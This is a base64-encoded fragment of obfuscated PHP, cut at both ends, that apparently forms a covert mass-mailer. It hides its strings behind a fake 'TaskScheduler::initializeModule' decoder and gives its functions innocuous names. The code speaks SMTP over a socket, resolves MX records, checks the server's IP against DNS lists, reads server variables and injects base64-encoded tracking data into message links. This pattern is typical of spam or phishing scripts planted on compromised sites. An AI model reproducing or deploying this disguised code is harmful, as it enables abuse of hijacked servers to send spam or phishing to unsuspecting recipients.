AgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF95ZiwgcnVuX3Byb2NlZHVyZSgkX2d1YikgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfenMnLCAnX3V4YScpKTsKICAgICAgICAkX2NjaiA9ICR0aGlzLT5zYXZlQ2hhbmdlcygkX3lmKTsKICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaWtkJywgJ190dW8nKSwgJF9jY2opKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgQGZwdXRzKCRfeWYsIHJ1bl9wcm9jZWR1cmUoJF92bCkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdHonLCAnX3RkdicpKTsKICAgICAgICAkX290ID0gJHRoaXMtPnNhdmVDaGFuZ2VzKCRfeWYpOwogICAgICAgIGlmICgheWFhKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ueG8nLCAnX2h1cicpLCAkX290KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2N0JywgJ195bGgnKSAuICRfZ25wIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lhZCcsICdfZW4nKSk7CiAgICAgICAgJF9mcCA9ICR0aGlzLT5zYXZlQ2hhbmdlcygkX3lmKTsKICAgICAgICBpZiAoIXlhYShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ29qJywgJ19vZGQnKSwgJF9mcCkpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICBAZnB1dHMoJF95ZiwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2x2dScsICdfZmZwJykgLiAkX3BrIC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2RnJywgJ19sa2QnKSk7CiAgICAgICAgJF94dGQgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2t2YicsICdfaGl0JyksICRfeHRkKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdWsnLCAnX2p2JykpOwogICAgICAgICRfd2IgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKCF5YWEoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2d3aicsICdfZmx2JyksICRfd2IpKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgJF91ZSA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193ZmMnLCAnX3ltYicpLCAkX2hyeik7CiAgICAgICAgZm9yZWFjaCAoJF91ZSBhcyAkX3dsKSB7CiAgICAgICAgICAgIEBmcHV0cygkX3lmLCBsb2FkX3NldHRpbmdzKCRfd2wsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195aW4nLCAnX3dnaCcpKSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nZmMnLCAnX3NxaCcpKTsKICAgICAgICB9CiAgICAgICAgJF9vdGQgPSAkdGhpcy0+c2F2ZUNoYW5nZXMoJF95Zik7CiAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfb3RkLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXl3JywgJ19zd3MnKSkgPT09IDAwKSB7CiAgICAgICAgICAgIEBmcHV0cygkX3lmLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfaXN4JywgJ192amgnKSk7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHNhdmVDaGFuZ2VzKCRfeWYpCiAgICB7CiAgICAgICAgJF9wZ3QgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2ZkJywgJ19kY2MnKTsKICAgICAgICB3aGlsZSAoIUBmZW9mKCRfeWYpKSB7CiAgICAgICAgICAgICRfYmpoID0gQGZnZXRzKCRfeWYsIDAxMDAzKTsKICAgICAgICAgICAgaWYgKCRfYmpoID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF9wZ3QgLj0gJF9iamg7CiAgICAgICAgICAgIGlmIChAc3Vic3RyKCRfYmpoLCAwMywgMDEpID09IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ193emsnLCAnX2hhJykpIHsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX3BndDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHJvY2Vzc0RhdGEoKQogICAgewogICAgICAgICRfZXQgPSBhcnJheShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdmx3JywgJ19tbCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeWJxJywgJ193bHUnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2J6JywgJ19wcCcpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcGZoJywgJ19qaGwnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NvbCcsICdfYnEnKSk7CiAgICAgICAgJF9keiA9IEBnZXRob3N0YnluYW1lKCR0aGlzLT5faWEpOwogICAgICAgIGlmICghJF9keikgewogICAgICAgICAgICByZXR1cm4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3lodCcsICdfc2pmJyk7CiAgICAgICAgfQogICAgICAgICRfc2t6ID0gcmVzb2x2ZV9kZXBlbmRlbmN5KFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19icnMnLCAnX3ZwJyksIHZhbGlkYXRlX2VudHJ5KHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnRmJywgJ19mZycpLCAkX2R6KSkpOwogICAgICAgICRfeWggPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYnhyJywgJ19raicpOwogICAgICAgIGZvcmVhY2ggKCRfZXQgYXMgJF9neHQpIHsKICAgICAgICAgICAgaWYgKEBjaGVja2Ruc3JyKCRfc2t6IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3hvJywgJ192d3cnKSAuICRfZ3h0IC4gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21ncycsICdfa2NnJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19iYmUnLCAnX3p6aicpKSkgewogICAgICAgICAgICAgICAgJF95aCAuPSAkX2d4dCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19neicsICdfbG53Jyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGxvYWRfc2V0dGluZ3MoJF95aCwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3phdCcsICdfd2dnJykpOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBmZXRjaFJlY29yZHMoKQogICAgewogICAgICAgICRfZG5sID0gYXJyYXkoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3luYycsICdfa2dmJyksIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190c3EnLCAnX3FtdScpLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfY2QnLCAnX2ZwYScpKTsKICAgICAgICAkX2pwID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21kcycsICdfY2RpJyk7CiAgICAgICAgZm9yZWFjaCAoJF9kbmwgYXMgJF94cCkgewogICAgICAgICAgICBpZiAoJF9qcCA9PSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZ2hwJywgJ19kZGknKSB8fCAkX2pwID09IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yaG8nLCAnX2VudScpIHx8IG1vbml0b3JfaGVhbHRoKCRfanAsIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196b3QnLCAnX2JjYycpKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRfanAgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc3JuJywgJ196cHgnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRfanApKSB7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWVtcHR5KCRfU0VSVkVSWyRfeHBdKSkgewogICAgICAgICAgICAgICAgJF96aHogPSBAcHJlZ19yZXBsYWNlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196cicsICdfbGwnKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX21jaScsICdfZ29lJyksICRfU0VSVkVSWyRfeHBdKTsKICAgICAgICAgICAgICAgICRfanAgPSBoYXNoX3N0cmluZygkX3poeik7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCEkX2pwKSB7CiAgICAgICAgICAgICRfanAgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnEnLCAnX2JvZCcpOwogICAgICAgIH0KICAgICAgICAkX2pwID0gQHByZWdfcmVwbGFjZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfamt4JywgJ19oeGknKSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2N0JywgJ19pdycpLCAkX2pwKTsKICAgICAgICAkX3VseiA9ICRfanA7CiAgICAgICAgJF9sYiA9ICRfanA7CiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+Y2hlY2tDb25zaXN0ZW5jeSgkX3VseiwgZmFsc2UpKSB8fCBAcHJlZ19tYXRjaChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcGwnLCAnX2JqaicpLCAkX2pwKSkgewogICAgICAgICAgICByZXR1cm4gYXJyYXkoJF9sYiwgJF91bHopOwogICAgICAgIH0KICAgICAgICBpZiAobW9uaXRvcl9oZWFsdGgoJF9qcCwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VsaycsICdfZWRjJykpICE9PSBmYWxzZSAmJiBAcHJlZ19tYXRjaChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2FwJywgJ19pdmMnKSwgJF9qcCkpIHsKICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRfbGIsICRfdWx6KTsKICAgICAgICB9CiAgICAgICAgJF9kdGkgPSBwcm9jZXNzX3JlcXVlc3QoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3VyZCcsICdfdmF4JyksICRfdWx6KTsKICAgICAgICBpZiAoaW5pdF9zeXN0ZW0oJF9kdGkpID4gMDIpIHsKICAgICAgICAgICAgJF91Z2wgPSBpbml0X3N5c3RlbSgkX2R0aSk7CiAgICAgICAgICAgIGZvciAoJF9oeiA9IDAxOyAkX2h6IDwgJF91Z2w7ICRfaHorKykgewogICAgICAgICAgICAgICAgJF9pc3cgPSByZXNvbHZlX2RlcGVuZGVuY3koVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3NrZycsICdfbGInKSwgbG9nX29wZXJhdGlvbigkX2R0aSwgJF9oeikpOwogICAgICAgICAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfaXN3LCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfa2ZnJywgJ19pdmgnKSkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX3d1ID0gQGdldGhvc3RieW5hbWUoJF9pc3cpOwogICAgICAgICAgICAgICAgaWYgKCRfd3UpIHsKICAgICAgICAgICAgICAgICAgICAkX2xiID0gJF9pc3c7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGFycmF5KCRfbGIsICRfdWx6KTsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gY2hlY2tDb25zaXN0ZW5jeSgkX214cywgJF9ldHcgPSB0cnVlKQogICAgewogICAgICAgICRfa2FwID0gYXJyYXkoKTsKICAgICAgICAkX3poYiA9IGFycmF5KCk7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdGZwJywgJ190eHcnKSkpIHsKICAgICAgICAgICAgaWYgKEBnZXRteHJyKCRfbXhzLCAkX2thcCwgJF96aGIpKSB7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfa2FwKSkgewogICAgICAgICAgICAgICAgICAgIEBhcnJheV9tdWx0aXNvcnQoJF96aGIsICRfa2FwKTsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gJF9rYXA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cyhUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGpqJywgJ192dWsnKSkpIHsKICAgICAgICAgICAgJF96eW8gPSBAZG5zX2dldF9yZWNvcmQoJF9teHMsIDA0MDAwMCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJF96eW8pKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3p5byBhcyAkX3praikgewogICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF96a2pbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2xwJywgJ19kbCcpXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9rYXBbXSA9ICRfemtqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19waXcnLCAnX3V6aycpXTsKICAgICAgICAgICAgICAgICAgICAgICAgJF96aGJbXSA9IGlzc2V0KCRfemtqW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19ua2EnLCAnX2FqcicpXSkgPyAkX3praltUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGJqJywgJ19yZGEnKV0gOiAwMTI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2thcCkpIHsKICAgICAgICAgICAgICAgICAgICBAYXJyYXlfbXVsdGlzb3J0KCRfemhiLCAkX2thcCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRfa2FwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2VpZiAoJF9ldHcpIHsKICAgICAgICAgICAgICAgICRfeGV5ID0gQGRuc19nZXRfcmVjb3JkKCRfbXhzLCAwMSk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfeGV5KSAmJiAhZW1wdHkoJF94ZXlbMDBdW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19yeGEnLCAnX2ptcycpXSkpIHsKICAgICAgICAgICAgICAgICAgICAkX2thcFtdID0gJF94ZXlbMDBdW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19udScsICdfY2hlJyldOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2thcDsKICAgIH0KICAgIHByaXZhdGUgZnVuY3Rpb24gcGFyc2VSZXNwb25zZSgkX2pwKQogICAgewogICAgICAgIGlmIChAcHJlZ19tYXRjaChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfanR6JywgJ19seWonKSwgJF9qcCkpIHsKICAgICAgICAgICAgcmV0dXJuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wb24nLCAnX2h2YicpIC4gJF9qcCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19rbHonLCAnX2ZrJyk7CiAgICAgICAgfQogICAgICAgIGlmIChtb25pdG9yX2hlYWx0aCgkX2pwLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeW8nLCAnX2NhJykpICE9PSBmYWxzZSAmJiBAcHJlZ19tYXRjaChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXNtJywgJ19td2MnKSwgJF9qcCkpIHsKICAgICAgICAgICAgcmV0dXJuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19lZ2EnLCAnX21hdCcpIC4gJF9qcCAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ195YicsICdfdHN3Jyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkX2pwOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBwcmVwYXJlT3V0cHV0KCRfcmpiLCAkX2pqbCwgJF93c2IgPSBudWxsKQogICAgewogICAgICAgICRfdnAgPSBAc3RycG9zKCRfcmpiLCAkX2pqbCk7CiAgICAgICAgaWYgKCRfdnAgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYWsnLCAnX3ZubicpOwogICAgICAgIH0KICAgICAgICAkX3BxbiA9ICRfdnAgKyBwcm9jZXNzX3F1ZXVlKCRfampsKTsKICAgICAgICBpZiAoJF93c2IgPT09IG51bGwpIHsKICAgICAgICAgICAgcmV0dXJuIEBzdWJzdHIoJF9yamIsICRfcHFuKTsKICAgICAgICB9CiAgICAgICAgJF9mcyA9IEBzdHJwb3MoJF9yamIsICRfd3NiLCAkX3Bxbik7CiAgICAgICAgaWYgKCRfZnMgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIHJldHVybiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfc2cnLCAnX3d0dicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gQHN1YnN0cigkX3JqYiwgJF9wcW4sICRfZnMgLSAkX3Bxbik7CiAgICB9CiAgICBwcml2YXRlIGZ1bmN0aW9uIHJlc29sdmVBY3Rpb24oJF9ocnopCiAgICB7CiAgICAgICAgJF9neiA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19seXonLCAnX3FzaycpLCAkX2hyeik7CiAgICAgICAgcmV0dXJuIEB0cmltKCRfZ3pbdHJpZ2dlcl9ldmVudCgkX2d6KV0pOwogICAgfQogICAgcHJpdmF0ZSBmdW5jdGlvbiBleGVjdXRlQWN0aW9uKCRfaGNzLCAkX2hyeikKICAgIHsKICAgICAgICBAcHJlZ19tYXRjaF9hbGwoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2tlYScsICdfd295JyksICRfaGNzLCAkX2NrdSk7CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19wanYnLCAnX2RmdCcpLCAkX2hjcywgJF9yYyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX2NrdVswMV0pKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfY2t1WzAxXSBhcyAkX2h6ID0+ICRfcnJxKSB7CiAgICAgICAgICAgICAgICAkX2JuZCA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19memQnLCAnX2lldScpLCAkX3JycSk7CiAgICAgICAgICAgICAgICAkX3l5ID0gVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3poJywgJ196eScpIC4gJHRoaXMtPl91bHogLiBAJF9TRVJWRVJbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2lxJywgJ19namUnKV07CiAgICAgICAgICAgICAgICAkX256bCA9IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19nenAnLCAnX3F1ZycpOwogICAgICAgICAgICAgICAgJF9uemwgLj0gaGFzaF9zdHJpbmcoJF9ibmRbMDBdKTsKICAgICAgICAgICAgICAgIGZvciAoJF9idSA9IDAxOyAkX2J1IDwgaW5pdF9zeXN0ZW0oJF9ibmQpOyAkX2J1KyspIHsKICAgICAgICAgICAgICAgICAgICBpZiAobW9uaXRvcl9oZWFsdGgoJF9ibmRbJF9idV0sIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ190dCcsICdfcXFpJykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX256bCAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbnJqJywgJ19qcScpIC4gdHJpbSgkX2hyelswMF0pOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmIChtb25pdG9yX2hlYWx0aCgkX2JuZFskX2J1XSwgVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX29pZicsICdfY2t3JykpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3ZmaiA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ192eScsICdfaWRhJyksICRfYm5kWyRfYnVdKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfdmZqWzAxXSkgJiYgaXNzZXQoJF9ocnpbJF92ZmpbMDFdXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfbnpsIC49IFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ196ZicsICdfaGF4JykgLiAkX3ZmalswMV0gLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfYXl4JywgJ190bWUnKSAuIHRyaW0oJF9ocnpbJF92ZmpbMDFdXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAobW9uaXRvcl9oZWFsdGgoJF9ibmRbJF9idV0sIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vbHcnLCAnX3N5bicpKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF95eSA9IEBleHBsb2RlKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19sYnAnLCAnX3NzYycpLCAkX2JuZFskX2J1XSwgMDIpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF95eVswMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3l5ID0gJF95eVswMV07CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkX256bCAuPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbXFyJywgJ19ya28nKSAuICRfYm5kWyRfYnVdOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfaGNzID0gJHRoaXMtPl9ubSgkX2NrdVswMF1bJF9oel0sICRfeXkgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdm5sJywgJ19lcGMnKSAuIGJhc2U2NF9lbmNvZGUoJF9uemwpLCAkX2hjcyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKG1vbml0b3JfaGVhbHRoKCRfaGNzLCBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdm5iJywgJ19remInKSkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICR0aGlzLT5fanQgPSAwMTsKICAgICAgICAgICAgJF9qYWEgPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfdXFoJywgJ19ob3knKSAuICR0aGlzLT5fdWx6IC4gQCRfU0VSVkVSW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19lcGEnLCAnX25vZScpXSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19kdicsICdfd3Z1JykgLiBiYXNlNjRfZW5jb2RlKCRfaHJ6WzAwXSk7CiAgICAgICAgICAgICRfaGNzID0gY29tcHV0ZV9vdXRwdXQoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX2luaicsICdfenQnKSwgJF9qYWEsICRfaGNzKTsKICAgICAgICB9CiAgICAgICAgaWYgKCFlbXB0eSgkX3JjWzAxXSkpIHsKICAgICAgICAgICAgZm9yZWFjaCAoJF9yY1swMV0gYXMgJF9oeiA9PiAkX21mKSB7CiAgICAgICAgICAgICAgICAkX3prZSA9IHByb2Nlc3NfcmVxdWVzdChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfZmwnLCAnX253bicpLCAkX21mKTsKICAgICAgICAgICAgICAgICRfd20gPSBmYWxzZTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR0aGlzLT5fb3ggYXMgJF9jbiA9PiAkX2d4dikgewogICAgICAgICAgICAgICAgICAgIGlmICgkX2d4dlswMF0gPT0gJF9yY1swMF1bJF9oel0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9oY3MgPSBjb21wdXRlX291dHB1dCgkX3JjWzAwXVskX2h6XSwgJF9neHZbMDFdLCAkX2hjcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfd20gPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoISRfd20pIHsKICAgICAgICAgICAgICAgICAgICAkX3NubSA9ICRfemtlW3RyaWdnZXJfZXZlbnQoJF96a2UpXTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+X294W10gPSBhcnJheSgkX3JjWzAwXVskX2h6XSwgJF9zbm0pOwogICAgICAgICAgICAgICAgICAgICRfaGNzID0gY29tcHV0ZV9vdXRwdXQoJF9yY1swMF1bJF9oel0sICRfc25tLCAkX2hjcyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgQHByZWdfbWF0Y2hfYWxsKFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ194cnonLCAnX29jeScpLCAkX2hjcywgJF91a24pOwogICAgICAgIGlmICghZW1wdHkoJF91a25bMDFdKSkgewogICAgICAgICAgICBmb3JlYWNoICgkX3VrblswMV0gYXMgJF9iYXogPT4gJF93cGQpIHsKICAgICAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb3RjJywgJ19pcHAnKSwgJF93cGQsICRfdmEpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX3ZhWzAxXSkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3ZhWzAxXSBhcyAkX25jID0+ICRfdHJjKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh4a2koJF90cmMpICYmIGlzc2V0KCRfaHJ6WyRfdHJjXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRfd3BkID0gJHRoaXMtPl9ubSgkX3ZhWzAwXVskX25jXSwgJF9ocnpbJF90cmNdLCAkX3dwZCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2hjcyA9ICR0aGlzLT5fbm0oJF91a25bMDBdWyRfYmF6XSwgcnVuX3Byb2NlZH